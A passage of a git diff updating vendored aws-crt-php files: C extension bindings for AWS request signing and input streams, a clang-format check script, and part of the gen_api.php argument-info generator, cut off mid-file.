{ + zend_ulong php_signing_config = 0; + zend_ulong php_expiration_in_seconds = 0; + + aws_php_parse_parameters("ll", &php_signing_config, &php_expiration_in_seconds); + + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + aws_crt_signing_config_aws_set_expiration_in_seconds(signing_config, php_expiration_in_seconds); +} + +PHP_FUNCTION(aws_crt_signing_config_aws_set_date) { + zend_ulong php_signing_config = 0; + zend_ulong php_timestamp = 0; + + aws_php_parse_parameters("ll", &php_signing_config, &php_timestamp); + + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + aws_crt_signing_config_aws_set_date(signing_config, php_timestamp); +} + +typedef struct _should_sign_header_data { + zval *should_sign_header; + zval *header_name; + bool result; +} should_sign_header_data; + +static void should_sign_header_task(void *data) { + should_sign_header_data *task = data; + zval result = aws_php_invoke_callback(task->should_sign_header, "z", task->header_name); + task->result = aws_php_zval_as_bool(&result); + zval_dtor(&result); +} + +static bool aws_php_should_sign_header(const char *header_name, size_t header_length, void *user_data) { + zval php_header_name; + aws_php_zval_stringl(&php_header_name, header_name, header_length); + + should_sign_header_data task_data = { + .should_sign_header = user_data, + .header_name = &php_header_name, + .result = false, + }; + + aws_php_task task = { + .callback = should_sign_header_task, + .data = &task_data, + }; + + aws_php_thread_queue_push(&s_aws_php_main_thread_queue, task); + aws_php_thread_queue_yield(&s_aws_php_main_thread_queue); + + zval_dtor(&php_header_name); + + return task_data.result; +} + +PHP_FUNCTION(aws_crt_signing_config_aws_set_should_sign_header_fn) { + zend_ulong php_signing_config = 0; + zval *php_should_sign_header = NULL; + + aws_php_parse_parameters("lz", &php_signing_config, &php_should_sign_header); + + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + + /* copy/retain PHP callback, add as user data for signing_config resource */ + zval *should_sign_header = aws_php_zval_new(); + aws_php_zval_copy(should_sign_header, php_should_sign_header); + aws_crt_resource_set_user_data(signing_config, should_sign_header, aws_php_zval_dtor); + + aws_crt_signing_config_aws_set_should_sign_header_fn( + signing_config, aws_php_should_sign_header, should_sign_header); +} + +PHP_FUNCTION(aws_crt_signable_new_from_http_request) { + zend_ulong php_http_message = 0; + + aws_php_parse_parameters("l", &php_http_message); + + const aws_crt_http_message *http_message = (void *)php_http_message; + aws_crt_signable *signable = aws_crt_signable_new_from_http_request(http_message); + RETURN_LONG((zend_ulong)signable); +} + +PHP_FUNCTION(aws_crt_signable_new_from_chunk) { + zend_ulong php_input_stream = 0; + const char *previous_signature = NULL; + size_t previous_signature_len = 0; + + aws_php_parse_parameters("ls", &php_input_stream, &previous_signature, &previous_signature_len); + + aws_crt_input_stream *input_stream = (void *)php_input_stream; + aws_crt_signable *signable = + aws_crt_signable_new_from_chunk(input_stream, (uint8_t *)previous_signature, previous_signature_len); + RETURN_LONG((zend_ulong)signable); +} + +PHP_FUNCTION(aws_crt_signable_new_from_canonical_request) { + const char *canonical_request = NULL; + size_t canonical_request_len = 0; + + aws_crt_signable *signable = + aws_crt_signable_new_from_canonical_request((uint8_t *)canonical_request, canonical_request_len); + RETURN_LONG((zend_ulong)signable); +} + +PHP_FUNCTION(aws_crt_signable_release) { + zend_ulong php_signable = 0; + + aws_php_parse_parameters("l", &php_signable); + + aws_crt_signable *signable = (void *)php_signable; + aws_crt_signable_release(signable); +} + +PHP_FUNCTION(aws_crt_signing_result_release) { + zend_ulong php_signing_result = 0; + + aws_php_parse_parameters("l", &php_signing_result); + aws_crt_signing_result *result = (void *)php_signing_result; + aws_crt_signing_result_release(result); +} + +PHP_FUNCTION(aws_crt_signing_result_apply_to_http_request) { + zend_ulong php_signing_result = 0; + zend_ulong php_http_request = 0; + + aws_php_parse_parameters("ll", &php_signing_result, &php_http_request); + aws_crt_signing_result *result = (void *)php_signing_result; + aws_crt_http_message *request = (void *)php_http_request; + + if (aws_crt_signing_result_apply_to_http_request(result, request)) { + aws_php_throw_exception( + "Failed to apply signing result to HTTP request: %s", aws_crt_error_name(aws_crt_last_error())); + } +} + +typedef struct _signing_state { + struct aws_promise *promise; + zval *on_complete; + aws_crt_signing_result *signing_result; + int error_code; +} signing_state; + +/* called on main thread to deliver result to php */ +static void s_sign_aws_complete(void *data) { + signing_state *state = data; + zval *on_complete = state->on_complete; + aws_php_invoke_callback(on_complete, "ll", (zend_ulong)state->signing_result, (zend_ulong)state->error_code); +} + +/* called from signing process in aws_sign_request_aws */ +static void s_on_sign_request_aws_complete(aws_crt_signing_result *result, int error_code, void *user_data) { + signing_state *state = user_data; + struct aws_promise *promise = state->promise; + + state->signing_result = result; + state->error_code = error_code; + + /* + * Must execute PHP callback before this function returns, or signing_result will be killed + * so the callback is queued back to the main thread and will have run when yield returns + */ + aws_php_task complete_callback_task = { + .callback = s_sign_aws_complete, + .data = state, + }; + aws_php_thread_queue_push(&s_aws_php_main_thread_queue, complete_callback_task); + aws_php_thread_queue_yield(&s_aws_php_main_thread_queue); + + if (error_code) { + aws_promise_fail(promise, error_code); + } else { + aws_promise_complete(promise, result, NULL); + } +} + +PHP_FUNCTION(aws_crt_sign_request_aws) { + zend_ulong php_signable = 0; + zend_ulong php_signing_config = 0; + zval *php_on_complete = 0; + zend_ulong php_user_data = 0; + + aws_php_parse_parameters("llzl", &php_signable, &php_signing_config, &php_on_complete, &php_user_data); + + aws_crt_signable *signable = (void *)php_signable; + aws_crt_signing_config_aws *signing_config = (void *)php_signing_config; + + struct aws_promise *promise = aws_promise_new(aws_crt_default_allocator()); + signing_state state = { + .promise = promise, + .on_complete = php_on_complete, + }; + int ret = aws_crt_sign_request_aws(signable, signing_config, s_on_sign_request_aws_complete, &state); + if (ret != 0) { + int last_error = aws_crt_last_error(); + aws_promise_fail(promise, last_error); + aws_php_throw_exception( + "aws_crt_sign_request_aws: error starting signing process: %s", aws_crt_error_name(last_error)); + } + + aws_php_thread_queue_wait(&s_aws_php_main_thread_queue, promise); + +done: + aws_promise_release(promise); + RETURN_LONG(ret); +} + +PHP_FUNCTION(aws_crt_test_verify_sigv4a_signing) { + zend_ulong php_signable = 0; + zend_ulong php_signing_config = 0; + const char *expected_canonical_request = NULL; + size_t expected_canonical_request_len = 0; + const char *signature = NULL; + size_t signature_len = 0; + const char *ecc_key_pub_x = NULL; + size_t ecc_key_pub_x_len = 0; + const char *ecc_key_pub_y = NULL; + size_t ecc_key_pub_y_len = 0; + + aws_php_parse_parameters( + "llssss", + &php_signable, + &php_signing_config, + &expected_canonical_request, + &expected_canonical_request_len, + &signature, + &signature_len, + &ecc_key_pub_x, + &ecc_key_pub_x_len, + &ecc_key_pub_y, + &ecc_key_pub_y_len); + + const aws_crt_signable *signable = (void *)php_signable; + const aws_crt_signing_config *signing_config = (void *)php_signing_config; + + bool result = AWS_OP_SUCCESS == + aws_crt_test_verify_sigv4a_signing( + signable, signing_config, expected_canonical_request, signature, ecc_key_pub_x, ecc_key_pub_y); + + RETURN_BOOL(result); +} diff --git a/vendor/aws/aws-crt-php/ext/stream.c b/vendor/aws/aws-crt-php/ext/stream.c index ea408ee126..414146b6c4 100644 --- a/vendor/aws/aws-crt-php/ext/stream.c +++ b/vendor/aws/aws-crt-php/ext/stream.c @@ -1,148 +1,148 @@ -/** - * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. - * SPDX-License-Identifier: Apache-2.0. - */ - -#include "php_aws_crt.h" - -/* PHP streams info: - * https://git.php.net/?p=php-src.git;a=blob;f=docs/streams.md;h=0ec3846d68bf70067297d8a6c691d2591c49b48a;hb=HEAD - * https://github.com/php/php-src/blob/PHP-5.6.0/main/php_streams.h - */ - -PHP_FUNCTION(aws_crt_input_stream_options_new) { - if (zend_parse_parameters_none() == FAILURE) { - aws_php_argparse_fail(); - } - - aws_crt_input_stream_options *options = aws_crt_input_stream_options_new(); - RETURN_LONG((zend_ulong)options); -} - -PHP_FUNCTION(aws_crt_input_stream_options_release) { - zend_ulong php_options = 0; - - aws_php_parse_parameters("l", &php_options); - - aws_crt_input_stream_options *options = (void *)php_options; - aws_crt_input_stream_options_release(options); -} - -PHP_FUNCTION(aws_crt_input_stream_options_set_user_data) { - zend_ulong php_options = 0; - zval *user_data = NULL; - - aws_php_parse_parameters("lz", &php_options, &user_data); - - aws_crt_input_stream_options *options = (void *)php_options; - php_stream *stream = NULL; - AWS_PHP_STREAM_FROM_ZVAL(stream, user_data); - aws_crt_input_stream_options_set_user_data(options, stream); -} - -static int s_php_stream_seek(void *user_data, int64_t offset, aws_crt_input_stream_seek_basis basis) { - php_stream *stream = user_data; - return php_stream_seek(stream, offset, basis); -} - -static int s_php_stream_read(void *user_data, uint8_t *dest, size_t dest_length) { - php_stream *stream = user_data; - return php_stream_read(stream, (char *)dest, dest_length) != 0; -} - -static int s_php_stream_get_length(void *user_data, int64_t *out_length) { - php_stream *stream = user_data; - size_t pos = php_stream_tell(stream); - php_stream_seek(stream, 0, SEEK_END); - *out_length = php_stream_tell(stream); - php_stream_seek(stream, pos, SEEK_SET); - return 0; -} - -static int s_php_stream_get_status(void *user_data, aws_crt_input_stream_status *out_status) { - php_stream *stream = user_data; - out_status->is_valid = stream != NULL; - /* We would like to use php_stream_eof here, but certain streams (notably php://memory) - * are not actually capable of EOF, so we get to do it the hard way */ - int64_t length = 0; - int64_t pos = 0; - s_php_stream_get_length(stream, &length); - pos = php_stream_tell(stream); - out_status->is_end_of_stream = pos == length; - return 0; -} - -static void s_php_stream_destroy(void *user_data) { - (void)user_data; - /* no op, stream will be freed by PHP refcount dropping from InputStream::stream */ -} - -PHP_FUNCTION(aws_crt_input_stream_new) { - zend_ulong php_options = 0; - - aws_php_parse_parameters("l", &php_options); - - aws_crt_input_stream_options *options = (void *)php_options; - aws_crt_input_stream_options_set_seek(options, s_php_stream_seek); - aws_crt_input_stream_options_set_read(options, s_php_stream_read); - aws_crt_input_stream_options_set_get_status(options, s_php_stream_get_status); - aws_crt_input_stream_options_set_get_length(options, s_php_stream_get_length); - aws_crt_input_stream_options_set_destroy(options, s_php_stream_destroy); - aws_crt_input_stream *stream = aws_crt_input_stream_new(options); - RETURN_LONG((zend_ulong)stream); -} - -PHP_FUNCTION(aws_crt_input_stream_release) { - zend_ulong php_stream = 0; - - aws_php_parse_parameters("l", &php_stream); - - aws_crt_input_stream *stream = (void *)php_stream; - aws_crt_input_stream_release(stream); -} - -PHP_FUNCTION(aws_crt_input_stream_seek) { - zend_ulong php_stream = 0; - zend_ulong offset = 0; - zend_ulong basis = 0; - - aws_php_parse_parameters("lll", &php_stream, &offset, &basis); - - aws_crt_input_stream *stream = (void *)php_stream; - RETURN_LONG(aws_crt_input_stream_seek(stream, offset, basis)); -} - -PHP_FUNCTION(aws_crt_input_stream_read) { - zend_ulong php_stream = 0; - zend_ulong length = 0; - - aws_php_parse_parameters("ll", &php_stream, &length); - - aws_crt_input_stream *stream = (void *)php_stream; - uint8_t *buf = emalloc(length); - int ret = aws_crt_input_stream_read(stream, buf, length); - XRETVAL_STRINGL((const char *)buf, length); - efree(buf); -} - -PHP_FUNCTION(aws_crt_input_stream_eof) { - zend_ulong php_stream = 0; - - aws_php_parse_parameters("l", &php_stream); - - aws_crt_input_stream *stream = (void *)php_stream; - aws_crt_input_stream_status status = {0}; - aws_crt_input_stream_get_status(stream, &status); - RETURN_BOOL(status.is_end_of_stream); -} - -PHP_FUNCTION(aws_crt_input_stream_get_length) { - zend_ulong php_stream = 0; - - aws_php_parse_parameters("l", &php_stream); - - aws_crt_input_stream *stream = (void *)php_stream; - int64_t length = 0; - aws_crt_input_stream_get_length(stream, &length); - RETURN_LONG(length); -} +/** + * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + * SPDX-License-Identifier: Apache-2.0. + */ + +#include "php_aws_crt.h" + +/* PHP streams info: + * https://git.php.net/?p=php-src.git;a=blob;f=docs/streams.md;h=0ec3846d68bf70067297d8a6c691d2591c49b48a;hb=HEAD + * https://github.com/php/php-src/blob/PHP-5.6.0/main/php_streams.h + */ + +PHP_FUNCTION(aws_crt_input_stream_options_new) { + if (zend_parse_parameters_none() == FAILURE) { + aws_php_argparse_fail(); + } + + aws_crt_input_stream_options *options = aws_crt_input_stream_options_new(); + RETURN_LONG((zend_ulong)options); +} + +PHP_FUNCTION(aws_crt_input_stream_options_release) { + zend_ulong php_options = 0; + + aws_php_parse_parameters("l", &php_options); + + aws_crt_input_stream_options *options = (void *)php_options; + aws_crt_input_stream_options_release(options); +} + +PHP_FUNCTION(aws_crt_input_stream_options_set_user_data) { + zend_ulong php_options = 0; + zval *user_data = NULL; + + aws_php_parse_parameters("lz", &php_options, &user_data); + + aws_crt_input_stream_options *options = (void *)php_options; + php_stream *stream = NULL; + AWS_PHP_STREAM_FROM_ZVAL(stream, user_data); + aws_crt_input_stream_options_set_user_data(options, stream); +} + +static int s_php_stream_seek(void *user_data, int64_t offset, aws_crt_input_stream_seek_basis basis) { + php_stream *stream = user_data; + return php_stream_seek(stream, offset, basis); +} + +static int s_php_stream_read(void *user_data, uint8_t *dest, size_t dest_length) { + php_stream *stream = user_data; + return php_stream_read(stream, (char *)dest, dest_length) != 0; +} + +static int s_php_stream_get_length(void *user_data, int64_t *out_length) { + php_stream *stream = user_data; + size_t pos = php_stream_tell(stream); + php_stream_seek(stream, 0, SEEK_END); + *out_length = php_stream_tell(stream); + php_stream_seek(stream, pos, SEEK_SET); + return 0; +} + +static int s_php_stream_get_status(void *user_data, aws_crt_input_stream_status *out_status) { + php_stream *stream = user_data; + out_status->is_valid = stream != NULL; + /* We would like to use php_stream_eof here, but certain streams (notably php://memory) + * are not actually capable of EOF, so we get to do it the hard way */ + int64_t length = 0; + int64_t pos = 0; + s_php_stream_get_length(stream, &length); + pos = php_stream_tell(stream); + out_status->is_end_of_stream = pos == length; + return 0; +} + +static void s_php_stream_destroy(void *user_data) { + (void)user_data; + /* no op, stream will be freed by PHP refcount dropping from InputStream::stream */ +} + +PHP_FUNCTION(aws_crt_input_stream_new) { + zend_ulong php_options = 0; + + aws_php_parse_parameters("l", &php_options); + + aws_crt_input_stream_options *options = (void *)php_options; + aws_crt_input_stream_options_set_seek(options, s_php_stream_seek); + aws_crt_input_stream_options_set_read(options, s_php_stream_read); + aws_crt_input_stream_options_set_get_status(options, s_php_stream_get_status); + aws_crt_input_stream_options_set_get_length(options, s_php_stream_get_length); + aws_crt_input_stream_options_set_destroy(options, s_php_stream_destroy); + aws_crt_input_stream *stream = aws_crt_input_stream_new(options); + RETURN_LONG((zend_ulong)stream); +} + +PHP_FUNCTION(aws_crt_input_stream_release) { + zend_ulong php_stream = 0; + + aws_php_parse_parameters("l", &php_stream); + + aws_crt_input_stream *stream = (void *)php_stream; + aws_crt_input_stream_release(stream); +} + +PHP_FUNCTION(aws_crt_input_stream_seek) { + zend_ulong php_stream = 0; + zend_ulong offset = 0; + zend_ulong basis = 0; + + aws_php_parse_parameters("lll", &php_stream, &offset, &basis); + + aws_crt_input_stream *stream = (void *)php_stream; + RETURN_LONG(aws_crt_input_stream_seek(stream, offset, basis)); +} + +PHP_FUNCTION(aws_crt_input_stream_read) { + zend_ulong php_stream = 0; + zend_ulong length = 0; + + aws_php_parse_parameters("ll", &php_stream, &length); + + aws_crt_input_stream *stream = (void *)php_stream; + uint8_t *buf = emalloc(length); + int ret = aws_crt_input_stream_read(stream, buf, length); + XRETVAL_STRINGL((const char *)buf, length); + efree(buf); +} + +PHP_FUNCTION(aws_crt_input_stream_eof) { + zend_ulong php_stream = 0; + + aws_php_parse_parameters("l", &php_stream); + + aws_crt_input_stream *stream = (void *)php_stream; + aws_crt_input_stream_status status = {0}; + aws_crt_input_stream_get_status(stream, &status); + RETURN_BOOL(status.is_end_of_stream); +} + +PHP_FUNCTION(aws_crt_input_stream_get_length) { + zend_ulong php_stream = 0; + + aws_php_parse_parameters("l", &php_stream); + + aws_crt_input_stream *stream = (void *)php_stream; + int64_t length = 0; + aws_crt_input_stream_get_length(stream, &length); + RETURN_LONG(length); +} diff --git a/vendor/aws/aws-crt-php/format-check.sh b/vendor/aws/aws-crt-php/format-check.sh index c5b0cf6341..eb2f524292 100644 --- a/vendor/aws/aws-crt-php/format-check.sh +++ b/vendor/aws/aws-crt-php/format-check.sh @@ -1,24 +1,24 @@ -#!/bin/bash - -if [[ -z $CLANG_FORMAT ]] ; then - CLANG_FORMAT=clang-format -fi - -if NOT type $CLANG_FORMAT 2> /dev/null ; then - echo "No appropriate clang-format found." - exit 1 -fi - -FAIL=0 -SOURCE_FILES=`find src ext -type f \( -name '*.c' \)` -for i in $SOURCE_FILES -do - $CLANG_FORMAT -output-replacements-xml $i | grep -c " /dev/null - if [ $? -ne 1 ] - then - echo "$i failed clang-format check." - FAIL=1 - fi -done - -exit $FAIL +#!/bin/bash + +if [[ -z $CLANG_FORMAT ]] ; then + CLANG_FORMAT=clang-format +fi + +if NOT type $CLANG_FORMAT 2> /dev/null ; then + echo "No appropriate clang-format found." + exit 1 +fi + +FAIL=0 +SOURCE_FILES=`find src ext -type f \( -name '*.c' \)` +for i in $SOURCE_FILES +do + $CLANG_FORMAT -output-replacements-xml $i | grep -c " /dev/null + if [ $? -ne 1 ] + then + echo "$i failed clang-format check." + FAIL=1 + fi +done + +exit $FAIL diff --git a/vendor/aws/aws-crt-php/gen_api.php b/vendor/aws/aws-crt-php/gen_api.php index 770828ed46..d5344345f8 100644 --- a/vendor/aws/aws-crt-php/gen_api.php +++ b/vendor/aws/aws-crt-php/gen_api.php @@ -1,24 +1,24 @@ -getPathName(); - if (preg_match('/\.stub\.php$/', $pathName)) { - $fileInfo = processStubFile($pathName, $context); - if ($fileInfo) { - $fileInfos[] = $fileInfo; - } - } - } - - return $fileInfos; -} - -function processStubFile(string $stubFile, Context $context): ?FileInfo { - try { - if (!file_exists($stubFile)) { - throw new Exception("File $stubFile does not exist"); - } - - $arginfoFile = str_replace('.stub.php', '_arginfo.h', $stubFile); - $legacyFile = str_replace('.stub.php', '_legacy_arginfo.h', $stubFile); - - $stubCode = file_get_contents($stubFile); - $stubHash = computeStubHash($stubCode); - $oldStubHash = extractStubHash($arginfoFile); - if ($stubHash === $oldStubHash && !$context->forceParse) { - /* Stub file did not change, do not regenerate. */ - return null; - } - - initPhpParser(); - $fileInfo = parseStubFile($stubCode); - $arginfoCode = generateArgInfoCode($fileInfo, $stubHash, $context->minimalArgInfo); - if (($context->forceRegeneration || $stubHash !== $oldStubHash) && file_put_contents($arginfoFile, $arginfoCode)) { - echo "Saved $arginfoFile\n"; - } - - if ($fileInfo->generateLegacyArginfo) { - foreach ($fileInfo->getAllFuncInfos() as $funcInfo) { - $funcInfo->discardInfoForOldPhpVersions(); - } - $arginfoCode = generateArgInfoCode($fileInfo, $stubHash, $context->minimalArgInfo); - if (($context->forceRegeneration || $stubHash !== $oldStubHash) && file_put_contents($legacyFile, $arginfoCode)) { - echo "Saved $legacyFile\n"; - } - } - - return $fileInfo; - } catch (Exception $e) { - echo "In $stubFile:\n{$e->getMessage()}\n"; - exit(1); - } -} - -function computeStubHash(string $stubCode): string { - return sha1(str_replace("\r\n", "\n", $stubCode)); -} - -function extractStubHash(string $arginfoFile): ?string { - if (!file_exists($arginfoFile)) { - return null; - } - - $arginfoCode = file_get_contents($arginfoFile); - if (!preg_match('/\* Stub hash: ([0-9a-f]+) \*/', $arginfoCode, $matches)) { - return null; - } - - return $matches[1]; -} - -class Context { - /** @var bool */ - public $forceParse = false; - /** @var bool */ - public $forceRegeneration = false; - /** @var bool */ - public $minimalArgInfo = false; -} - -class SimpleType { - /** @var string */ - public $name; - /** @var bool */ - public $isBuiltin; - - public function __construct(string $name, bool $isBuiltin) { - $this->name = $name; - $this->isBuiltin = $isBuiltin; - } - - public static function fromNode(Node $node): SimpleType { - if ($node instanceof Node\Name) { - if ($node->toLowerString() === 'static') { - // PHP internally considers "static" a builtin type. - return new SimpleType($node->toString(), true); - } - - assert($node->isFullyQualified()); - return new SimpleType($node->toString(), false); - } - if ($node instanceof Node\Identifier) { - return new SimpleType($node->toString(), true); - } - throw new Exception("Unexpected node type"); - } - - public static function fromPhpDoc(string $type): SimpleType - { - switch (strtolower($type)) { - case "void": - case "null": - case "false": - case "bool": - case "int": - case "float": - case "string": - case "array": - case "iterable": - case "object": - case "resource": - case "mixed": - case "self": - case "static": - return new SimpleType(strtolower($type), true); - } - - if (strpos($type, "[]") !== false) { - return new SimpleType("array", true); - } - - return new SimpleType($type, false); - } - - public static function null(): SimpleType - { - return new SimpleType("null", true); - } - - public static function void(): SimpleType - { - return new SimpleType("void", true); - } - - public function isNull(): bool { - return $this->isBuiltin && $this->name === 'null'; - } - - public function toTypeCode(): string { - assert($this->isBuiltin); - switch (strtolower($this->name)) { - case "bool": - return "_IS_BOOL"; - case "int": - return "IS_LONG"; - case "float": - return "IS_DOUBLE"; - case "string": - return "IS_STRING"; - case "array": - return "IS_ARRAY"; - case "object": - return "IS_OBJECT"; - case "void": - return "IS_VOID"; - case "callable": - return "IS_CALLABLE"; - case "iterable": - return "IS_ITERABLE"; - case "mixed": - return "IS_MIXED"; - case "static": - return "IS_STATIC"; - default: - throw new Exception("Not implemented: $this->name"); - } - } - - public function toTypeMask() { - assert($this->isBuiltin); - switch (strtolower($this->name)) { - case "null": - return "MAY_BE_NULL"; - case "false": - return "MAY_BE_FALSE"; - case "bool": - return "MAY_BE_BOOL"; - case "int": - return "MAY_BE_LONG"; - case "float": - return "MAY_BE_DOUBLE"; - case "string": - return "MAY_BE_STRING"; - case "array": - return "MAY_BE_ARRAY"; - case "object": - return "MAY_BE_OBJECT"; - case "callable": - return "MAY_BE_CALLABLE"; - case "mixed": - return "MAY_BE_ANY"; - case "static": - return "MAY_BE_STATIC"; - default: - throw new Exception("Not implemented: $this->name"); - } - } - - public function toEscapedName(): string { - return str_replace('\\', '\\\\', $this->name); - } - - public function equals(SimpleType $other) { - return $this->name === $other->name - && $this->isBuiltin === $other->isBuiltin; - } -} - -class Type { - /** @var SimpleType[] $types */ - public $types; - - public function __construct(array $types) { - $this->types = $types; - } - - public static function fromNode(Node $node): Type { - if ($node instanceof Node\UnionType) { - return new Type(array_map(['SimpleType', 'fromNode'], $node->types)); - } - if ($node instanceof Node\NullableType) { - return new Type([ - SimpleType::fromNode($node->type), - SimpleType::null(), - ]); - } - return new Type([SimpleType::fromNode($node)]); - } - - public static function fromPhpDoc(string $phpDocType) { - $types = explode("|", $phpDocType); - - $simpleTypes = []; - foreach ($types as $type) { - $simpleTypes[] = SimpleType::fromPhpDoc($type); - } - - return new Type($simpleTypes); - } - - public function isNullable(): bool { - foreach ($this->types as $type) { - if ($type->isNull()) { - return true; - } - } - return false; - } - - public function getWithoutNull(): Type { - return new Type(array_filter($this->types, function(SimpleType $type) { - return !$type->isNull(); - })); - } - - public function tryToSimpleType(): ?SimpleType { - $withoutNull = $this->getWithoutNull(); - if (count($withoutNull->types) === 1) { - return $withoutNull->types[0]; - } - return null; - } - - public function toArginfoType(): ?ArginfoType { - $classTypes = []; - $builtinTypes = []; - foreach ($this->types as $type) { - if ($type->isBuiltin) { - $builtinTypes[] = $type; - } else { - $classTypes[] = $type; - } - } - return new ArginfoType($classTypes, $builtinTypes); - } - - public static function equals(?Type $a, ?Type $b): bool { - if ($a === null || $b === null) { - return $a === $b; - } - - if (count($a->types) !== count($b->types)) { - return false; - } - - for ($i = 0; $i < count($a->types); $i++) { - if (!$a->types[$i]->equals($b->types[$i])) { - return false; - } - } - - return true; - } - - public function __toString() { - if ($this->types === null) { - return 'mixed'; - } - - return implode('|', array_map( - function ($type) { return $type->name; }, - $this->types) - ); - } -} - -class ArginfoType { - /** @var ClassType[] $classTypes */ - public $classTypes; - - /** @var SimpleType[] $builtinTypes */ - private $builtinTypes; - - public function __construct(array $classTypes, array $builtinTypes) { - $this->classTypes = $classTypes; - $this->builtinTypes = $builtinTypes; - } - - public function hasClassType(): bool { - return !empty($this->classTypes); - } - - public function toClassTypeString(): string { - return implode('|', array_map(function(SimpleType $type) { - return $type->toEscapedName(); - }, $this->classTypes)); - } - - public function toTypeMask(): string { - if (empty($this->builtinTypes)) { - return '0'; - } - return implode('|', array_map(function(SimpleType $type) { - return $type->toTypeMask(); - }, $this->builtinTypes)); - } -} - -class ArgInfo { - const SEND_BY_VAL = 0; - const SEND_BY_REF = 1; - const SEND_PREFER_REF = 2; - - /** @var string */ - public $name; - /** @var int */ - public $sendBy; - /** @var bool */ - public $isVariadic; - /** @var Type|null */ - public $type; - /** @var Type|null */ - public $phpDocType; - /** @var string|null */ - public $defaultValue; - - public function __construct(string $name, int $sendBy, bool $isVariadic, ?Type $type, ?Type $phpDocType, ?string $defaultValue) { - $this->name = $name; - $this->sendBy = $sendBy; - $this->isVariadic = $isVariadic; - $this->type = $type; - $this->phpDocType = $phpDocType; - $this->defaultValue = $defaultValue; - } - - public function equals(ArgInfo $other): bool { - return $this->name === $other->name - && $this->sendBy === $other->sendBy - && $this->isVariadic === $other->isVariadic - && Type::equals($this->type, $other->type) - && $this->defaultValue === $other->defaultValue; - } - - public function getSendByString(): string { - switch ($this->sendBy) { - case self::SEND_BY_VAL: - return "0"; - case self::SEND_BY_REF: - return "1"; - case self::SEND_PREFER_REF: - return "ZEND_SEND_PREFER_REF"; - } - throw new Exception("Invalid sendBy value"); - } - - public function getMethodSynopsisType(): Type { - if ($this->type) { - return $this->type; - } - - if ($this->phpDocType) { - return $this->phpDocType; - } - - throw new Exception("A parameter must have a type"); - } - - public function hasProperDefaultValue(): bool { - return $this->defaultValue !== null && $this->defaultValue !== "UNKNOWN"; - } - - public function getDefaultValueAsArginfoString(): string { - if ($this->hasProperDefaultValue()) { - return '"' . addslashes($this->defaultValue) . '"'; - } - - return "NULL"; - } - - public function getDefaultValueAsMethodSynopsisString(): ?string { - if ($this->defaultValue === null) { - return null; - } - - switch ($this->defaultValue) { - case 'UNKNOWN': - return null; - case 'false': - case 'true': - case 'null': - return "&{$this->defaultValue};"; - } - - return $this->defaultValue; - } -} - -interface FunctionOrMethodName { - public function getDeclaration(): string; - public function getArgInfoName(): string; - public function getMethodSynopsisFilename(): string; - public function __toString(): string; - public function isMethod(): bool; - public function isConstructor(): bool; - public function isDestructor(): bool; -} - -class FunctionName implements FunctionOrMethodName { - /** @var Name */ - private $name; - - public function __construct(Name $name) { - $this->name = $name; - } - - public function getNamespace(): ?string { - if ($this->name->isQualified()) { - return $this->name->slice(0, -1)->toString(); - } - return null; - } - - public function getNonNamespacedName(): string { - if ($this->name->isQualified()) { - throw new Exception("Namespaced name not supported here"); - } - return $this->name->toString(); - } - - public function getDeclarationName(): string { - return $this->name->getLast(); - } - - public function getDeclaration(): string { - return "ZEND_FUNCTION({$this->getDeclarationName()});\n"; - } - - public function getArgInfoName(): string { - $underscoreName = implode('_', $this->name->parts); - return "arginfo_$underscoreName"; - } - - public function getMethodSynopsisFilename(): string { - return implode('_', $this->name->parts); - } - - public function __toString(): string { - return $this->name->toString(); - } - - public function isMethod(): bool { - return false; - } - - public function isConstructor(): bool { - return false; - } - - public function isDestructor(): bool { - return false; - } -} - -class MethodName implements FunctionOrMethodName { - /** @var Name */ - private $className; - /** @var string */ - public $methodName; - - public function __construct(Name $className, string $methodName) { - $this->className = $className; - $this->methodName = $methodName; - } - - public function getDeclarationClassName(): string { - return implode('_', $this->className->parts); - } - - public function getDeclaration(): string { - return "ZEND_METHOD({$this->getDeclarationClassName()}, $this->methodName);\n"; - } - - public function getArgInfoName(): string { - return "arginfo_class_{$this->getDeclarationClassName()}_{$this->methodName}"; - } - - public function getMethodSynopsisFilename(): string { - return $this->getDeclarationClassName() . "_{$this->methodName}"; - } - - public function __toString(): string { - return "$this->className::$this->methodName"; - } - - public function isMethod(): bool { - return true; - } - - public function isConstructor(): bool { - return $this->methodName === "__construct"; - } - - public function isDestructor(): bool { - return $this->methodName === "__destruct"; - } -} - -class ReturnInfo { - /** @var bool */ - public $byRef; - /** @var Type|null */ - public $type; - /** @var Type|null */ - public $phpDocType; - - public function __construct(bool $byRef, ?Type $type, ?Type $phpDocType) { - $this->byRef = $byRef; - $this->type = $type; - $this->phpDocType = $phpDocType; - } - - public function equals(ReturnInfo $other): bool { - return $this->byRef === $other->byRef - && Type::equals($this->type, $other->type); - } - - public function getMethodSynopsisType(): ?Type { - return $this->type ?? $this->phpDocType; - } -} - -class FuncInfo { - /** @var FunctionOrMethodName */ - public $name; - /** @var int */ - public $classFlags; - /** @var int */ - public $flags; - /** @var string|null */ - public $aliasType; - /** @var FunctionName|null */ - public $alias; - /** @var bool */ - public $isDeprecated; - /** @var bool */ - public $verify; - /** @var ArgInfo[] */ - public $args; - /** @var ReturnInfo */ - public $return; - /** @var int */ - public $numRequiredArgs; - /** @var string|null */ - public $cond; - - public function __construct( - FunctionOrMethodName $name, - int $classFlags, - int $flags, - ?string $aliasType, - ?FunctionOrMethodName $alias, - bool $isDeprecated, - bool $verify, - array $args, - ReturnInfo $return, - int $numRequiredArgs, - ?string $cond - ) { - $this->name = $name; - $this->classFlags = $classFlags; - $this->flags = $flags; - $this->aliasType = $aliasType; - $this->alias = $alias; - $this->isDeprecated = $isDeprecated; - $this->verify = $verify; - $this->args = $args; - $this->return = $return; - $this->numRequiredArgs = $numRequiredArgs; - $this->cond = $cond; - } - - public function isMethod(): bool - { - return $this->name->isMethod(); - } - - public function isFinalMethod(): bool - { - return ($this->flags & Class_::MODIFIER_FINAL) || ($this->classFlags & Class_::MODIFIER_FINAL); - } - - public function isInstanceMethod(): bool - { - return !($this->flags & Class_::MODIFIER_STATIC) && $this->isMethod() && !$this->name->isConstructor(); - } - - /** @return string[] */ - public function getModifierNames(): array - { - if (!$this->isMethod()) { - return []; - } - - $result = []; - - if ($this->flags & Class_::MODIFIER_FINAL) { - $result[] = "final"; - } elseif ($this->flags & 